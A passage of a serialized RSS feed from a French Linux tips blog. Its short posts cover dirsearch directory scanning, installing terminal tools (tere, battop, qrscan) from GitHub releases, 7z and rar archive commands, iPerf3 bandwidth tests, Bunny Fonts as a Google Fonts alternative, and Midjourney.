<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dirsearch.py -u http://10.10.2.15/ -w /usr/share/wordlists/dirb/common.txt
</span></span></code></pre></div><h3 id="analyse-récursive">Analyse récursive</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dirsearch.py -u http://10.10.2.15/ -r
</span></span></code></pre></div><h3 id="sauvegarder-les-résultats-dans-un-fichier">Sauvegarder les résultats dans un fichier</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">dirsearch -u http://10.10.2.15/ --json-report report.json
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Pour installer dirsearch, il suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install dirsearch
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:33;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"tere un explorateur de fichiers directement dans le terminal";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:80:"https://azlinux.fr/tere-un-explorateur-de-fichiers-directement-dans-le-terminal/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 04 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:80:"https://azlinux.fr/tere-un-explorateur-de-fichiers-directement-dans-le-terminal/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2425:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post tere un explorateur de fichiers directement dans le terminal" /><p>Il s&rsquo;agit d&rsquo;une alternative simplifiée aux commandes <code>cd</code> et <code>ls</code> pour parcourir les répertoires. Cet outil vous permet de naviguer efficacement dans un dossier à l&rsquo;aide d&rsquo;une interface utilisateur, et affiche le chemin d&rsquo;accès à ce dossier lorsque vous quittez l&rsquo;outil.</p>
<p><img src="https://azlinux.fr/uploads/a7dfe3b39fa7ccd43b5c827f0cc98407.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<p>Après avoir installé <code>tere</code>, exécutez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">tere
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ol>
<li>Téléchargez la dernière version depuis GitHub :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/mgunyho/tere/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[0] | .browser_download_url&#39;</span><span class="k">)</span> 
</span></span></code></pre></div><ol start="2">
<li>Extraire l&rsquo;archive :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">unzip tere-1.1.0-x86_64-unknown-linux-gnu.zip 
</span></span></code></pre></div><ol start="3">
<li>Déplacer le binaire dans le répertoire <code>/usr/local/bin</code> :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo mv tere /usr/local/bin
</span></span></code></pre></div><ol start="4">
<li>Accorder des droits d&rsquo;exécution au binaire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo chmod <span class="m">755</span> /usr/local/bin/tere
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:34;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:65:"battop est un outil interactif de visualisation de votre batterie";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:85:"https://azlinux.fr/battop-est-un-outil-interactif-de-visualisation-de-votre-batterie/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 03 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:85:"https://azlinux.fr/battop-est-un-outil-interactif-de-visualisation-de-votre-batterie/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2119:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post battop est un outil interactif de visualisation de votre batterie" /><p><code>battop</code> est un visualisateur interactif, similaire à <code>top</code>, <code>htop</code> et autres utilitaires, mais concernant les batteries présentes dans votre ordinateur portable.</p>
<p>⚠ Pour le moment, cet outil ne fonctionne pas sous WSL</p>
<p><img src="https://azlinux.fr/uploads/198cd4c689d3a9a104c1676db769acb1.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<p>Après avoir installé <code>battop</code>, exécutez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">battop
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ol>
<li>Téléchargez la dernière version depuis GitHub :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo wget <span class="k">$(</span>curl -s https://api.github.com/repos/svartalf/rust-battop/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[6] | .browser_download_url&#39;</span><span class="k">)</span> 
</span></span></code></pre></div><ol start="2">
<li>Déplacer le binaire dans le répertoire <code>/usr/local/bin</code> :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo mv battop-v0.2.4-x86_64-unknown-linux-gnu /usr/local/bin/battop
</span></span></code></pre></div><ol start="3">
<li>Accorder des droits d&rsquo;exécution au binaire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo chmod <span class="m">755</span> /usr/local/bin/battop
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:35;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:94:"Comment visualiser le contenu d&#039;un QR code dans le terminal à l&#039;aide de la webcam ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:26:"https://azlinux.fr/qrscan/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 02 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:26:"https://azlinux.fr/qrscan/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2619:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment visualiser le contenu d'un QR code dans le terminal à l'aide de la webcam ?" /><p>Avec le développement des QR code, il peut être utile de les lire depuis votre ordinateur. Avec ce simple outil en ligne de commande, vous pouvez, à l&rsquo;aide de votre webcam, obtenir directement le contenu du QR code.</p>
<p><img src="https://azlinux.fr/uploads/a69166c80d512b6168297cb4d14c8ebe.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="utilisation">Utilisation</h2>
<p>Pour afficher le QR code dans la console :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">qrscan --qr
</span></span></code></pre></div><p>Pour scanner un QR code à partir d&rsquo;une image :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">qrscan qr-code.png
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ol>
<li>Téléchargez la dernière version depuis GitHub :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget <span class="k">$(</span>curl -s https://api.github.com/repos/sayanarijit/qrscan/releases/latest <span class="p">|</span> jq -r <span class="s1">&#39;.assets[5] | .browser_download_url&#39;</span><span class="k">)</span> 
</span></span></code></pre></div><ol start="2">
<li>Extraire l&rsquo;archive :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">tar xzf qrscan-0.1.7-x86_64-unknown-linux-gnu.tar.gz
</span></span></code></pre></div><ol start="3">
<li>Déplacer le binaire dans le répertoire <code>/usr/local/bin</code> :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo mv qrscan-0.1.7/qrscan /usr/local/bin
</span></span></code></pre></div><ol start="4">
<li>Accorder des droits d&rsquo;exécution au binaire :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo chmod <span class="m">755</span> /usr/local/bin/qrscan
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:36;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"Comment extraire les fichiers .7z ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/extraire-les-fichiers-7z/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 01 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/extraire-les-fichiers-7z/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1454:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment extraire les fichiers .7z ?" /><p>7z est un format de fichier d&rsquo;archive compressé qui prend en charge plusieurs types de compression de données, de cryptage, etc. La commande utilisée pour extraire ces fichiers s&rsquo;appelle <code>7z</code>.</p>
<h2 id="utilisation">Utilisation</h2>
<h3 id="extraire-un-fichier-7z">Extraire un fichier 7z</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">7zx e archive.7z
</span></span></code></pre></div><h3 id="créer-un-fichier-7z">Créer un fichier 7z</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">7z a archive.7z archive/
</span></span></code></pre></div><h3 id="définir-un-mot-de-passe">Définir un mot de passe</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">7z a archive.7z archive/ -p -mhe<span class="o">=</span>on
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ul>
<li>Debian : <code>sudo apt install p7zip p7zip-full</code></li>
<li>Fedora : <code>sudo yum install p7zip p7zip-full</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:37;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:36:"Comment extraire les fichiers .rar ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:45:"https://azlinux.fr/extraire-les-fichiers-rar/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 31 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:45:"https://azlinux.fr/extraire-les-fichiers-rar/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1360:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment extraire les fichiers .rar ?" /><p>RAR est un format d&rsquo;archive propriétaire pour la compression de données. La commande utilisée pour extraire ces fichiers s&rsquo;appelle <code>unrar</code>.</p>
<h2 id="utilisation">Utilisation</h2>
<h3 id="extraire-un-fichier-rar">Extraire un fichier RAR</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">unrar e archive.rar
</span></span></code></pre></div><h3 id="créer-un-fichier-rar">Créer un fichier RAR</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rar a archive.rar archive/
</span></span></code></pre></div><h3 id="définir-un-mot-de-passe">Définir un mot de passe</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rar a -p archive.rar archive/
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<ul>
<li>Debian : <code>sudo apt install unrar</code></li>
<li>Fedora : <code>sudo yum install unrar</code></li>
</ul>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:38;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:41:"iPerf3 un outil pour mesurer votre débit";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:60:"https://azlinux.fr/iperf3-un-outil-pour-mesurer-votre-debit/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 30 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:60:"https://azlinux.fr/iperf3-un-outil-pour-mesurer-votre-debit/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4323:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post iPerf3 un outil pour mesurer votre débit" /><p>iPerf3 est un outil gratuit et open source qui peut être utilisé pour mesurer le débit maximum d&rsquo;une connexion réseau. Il peut être utilisé pour identifier les goulots d’étranglement ou les problèmes de performances lors d’un transfert de données en utilisant les protocoles TCP et UDP.</p>
<p>Pour utiliser iPerf3, vous devez d&rsquo;abord l&rsquo;installer sur votre ordinateur. Sur une distribution Debian, vous pouvez l&rsquo;installer en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install iperf3
</span></span></code></pre></div><p>Sur Fedora, vous pouvez l&rsquo;installer en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo yum install iperf3
</span></span></code></pre></div><p>Une fois iPerf3 installé, vous pouvez le configurer en tant que serveur en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">iperf3 --server
</span></span></code></pre></div><p>Pour mesurer le débit entre votre connexion et un serveur distant, utilisez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">iperf3 --client paris.testdebit.info --port <span class="m">9240</span>
</span></span></code></pre></div><p>Cela enverra un ping au serveur de Bouygues Telecom et affichera le résultat sous forme de tableau, comme ceci :</p>
<table>
<thead>
<tr>
<th>Interval</th>
<th>Transfer</th>
<th>Bitrate</th>
<th>Retr</th>
<th>Cwnd</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.00-1.00 sec</td>
<td>22.3 MBytes</td>
<td>187 Mbits/sec</td>
<td>1</td>
<td>195 KBytes</td>
</tr>
<tr>
<td>1.00-2.00 sec</td>
<td>42.4 MBytes</td>
<td>355 Mbits/sec</td>
<td>0</td>
<td>315 KBytes</td>
</tr>
<tr>
<td>2.00-3.00 sec</td>
<td>48.3 MBytes</td>
<td>406 Mbits/sec</td>
<td>0</td>
<td>407 KBytes</td>
</tr>
<tr>
<td>3.00-4.00 sec</td>
<td>48.5 MBytes</td>
<td>407 Mbits/sec</td>
<td>0</td>
<td>479 KBytes</td>
</tr>
<tr>
<td>4.00-5.00 sec</td>
<td>48.0 MBytes</td>
<td>403 Mbits/sec</td>
<td>0</td>
<td>546 KBytes</td>
</tr>
<tr>
<td>5.00-6.00 sec</td>
<td>49.1 MBytes</td>
<td>412 Mbits/sec</td>
<td>0</td>
<td>605 KBytes</td>
</tr>
<tr>
<td>6.00-7.00 sec</td>
<td>47.5 MBytes</td>
<td>398 Mbits/sec</td>
<td>0</td>
<td>659 KBytes</td>
</tr>
<tr>
<td>7.00-8.00 sec</td>
<td>48.8 MBytes</td>
<td>409 Mbits/sec</td>
<td>0</td>
<td>708 KBytes</td>
</tr>
<tr>
<td>8.00-9.00 sec</td>
<td>47.5 MBytes</td>
<td>398 Mbits/sec</td>
<td>0</td>
<td>755 KBytes</td>
</tr>
<tr>
<td>9.00-10.00 sec</td>
<td>47.5 MBytes</td>
<td>398 Mbits/sec</td>
<td>0</td>
<td>799 KBytes</td>
</tr>
</tbody>
</table>
<p>En utilisant iPerf3, vous pouvez facilement mesurer le débit maximum de votre connexion et identifier les éventuels problèmes de performance. Cet outil est gratuit et open source, et facile à utiliser sur les distributions Linux les plus courantes.</p>
<p>Il existe de nombreuses options et fonctionnalités avancées dans iPerf3 qui peuvent être utilisées pour affiner les tests et obtenir des informations plus précises sur les performances de votre connexion. Par exemple, vous pouvez spécifier le nombre de threads à utiliser pour le test, la taille des paquets à envoyer, le nombre de seconds de durée de test, etc.</p>
<p>Pour en savoir plus sur les différentes options et fonctionnalités de iPerf3, vous pouvez consulter la <a class="link" href="https://iperf.fr/iperf-doc.php"  target="_blank" rel="noopener"
    >documentation en ligne disponible sur le site officiel de iPerf3</a>. Vous y trouverez également des instructions détaillées pour l&rsquo;installation et l&rsquo;utilisation de iPerf3 sur différentes plateformes et systèmes d&rsquo;exploitation.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:39;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:79:"Bunny Fonts une alternative à Google Fonts conforme à la réglementation RGPD";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:96:"https://azlinux.fr/bunny-fonts-une-alternative-a-google-fonts-conforme-a-la-reglementation-rgpd/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 29 Jul 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:96:"https://azlinux.fr/bunny-fonts-une-alternative-a-google-fonts-conforme-a-la-reglementation-rgpd/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2728:"<img src="https://azlinux.fr/uploads/a332c6ea35716ebd08e71720f6e047f4.webp" alt="Featured image of post Bunny Fonts une alternative à Google Fonts conforme à la réglementation RGPD" /><p>Bunny Fonts est une alternative gratuite aux polices Google Fonts, qui est conforme à la réglementation RGPD. Si vous utilisez actuellement les polices Google Fonts sur votre site web, vous pouvez facilement passer à Bunny Fonts en remplaçant simplement le domaine Google par Bunny dans votre balise HTML. Par exemple, si vous utilisez actuellement cette balise :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://fonts.google.com/css2?family=Karla&amp;family=Lato:wght@300;400;700&amp;display=swap&#34;</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Vous pouvez la remplacer par ceci :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://fonts.bunny.net/css?family=karla:400|lato:300,400,700&#34;</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Pour le moment, la version 2 de l&rsquo;API n&rsquo;est pas disponible mais cela n&rsquo;a pas trop d&rsquo;importance.</p>
<p>Vous pouvez également utiliser une alternative gratuite développée par coolLabs : <a class="link" href="https://github.com/coollabsio/fonts"  target="_blank" rel="noopener"
    >github.com/coollabsio/fonts</a></p>
<p>De même, il suffit de remplacer la balise HTML par le domaine, mais vous pouvez héberger le service sur votre serveur si vous le souhaitez.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://api.fonts.coollabs.io/css2?family=Karla&amp;family=Lato:wght@300;400;700&amp;display=swap&#34;</span><span class="p">&gt;</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:40;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:98:"Midjourney une intelligence artificielle qui crée des images à partir de descriptions textuelles";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/midjourney/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 28 Jul 2022 23:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/midjourney/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1947:"<img src="https://azlinux.fr/uploads/20ef5176602464377b5156431e49cf82.webp" alt="Featured image of post Midjourney une intelligence artificielle qui crée des images à partir de descriptions textuelles" /><p>Midjourney est le nom d&rsquo;une intelligence artificielle qui crée des images à partir de descriptions textuelles élaborées par un laboratoire de recherche indépendant, comme le modèle DALL-E développé par la société OpenAI.</p>
<p>Depuis hier quand j&rsquo;écris cet article, il est possible d&rsquo;essayer l&rsquo;intelligence artificielle Midjourney pour générer de l&rsquo;art. Pour cela, il suffit d&rsquo;aller sur leur site et de rejoindre leur serveur Discord, vous aurez accès à 25 crédits pour générer des images.</p>
<p>Comme vous pouvez l&rsquo;imaginer en regardant l&rsquo;image d&rsquo;illustration de l&rsquo;article, j&rsquo;ai voulu voir ce qu&rsquo;était cette intelligence artificielle et je trouve que les résultats sont assez impressionnants. Voici un aperçu de certaines des images réalisées par l&rsquo;intelligence artificielle Midjourney, mais je vous suggère tout de même de l&rsquo;essayer par vous-même pour vous faire votre propre opinion.</p>
<p><img src="https://azlinux.fr/uploads/e69e35cbc92ebba66f401bfccc34575c.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/cf3914c48a09edcb32afc1e8d256dd0f.webp"
	
	
	
	loading="lazy"
	
	
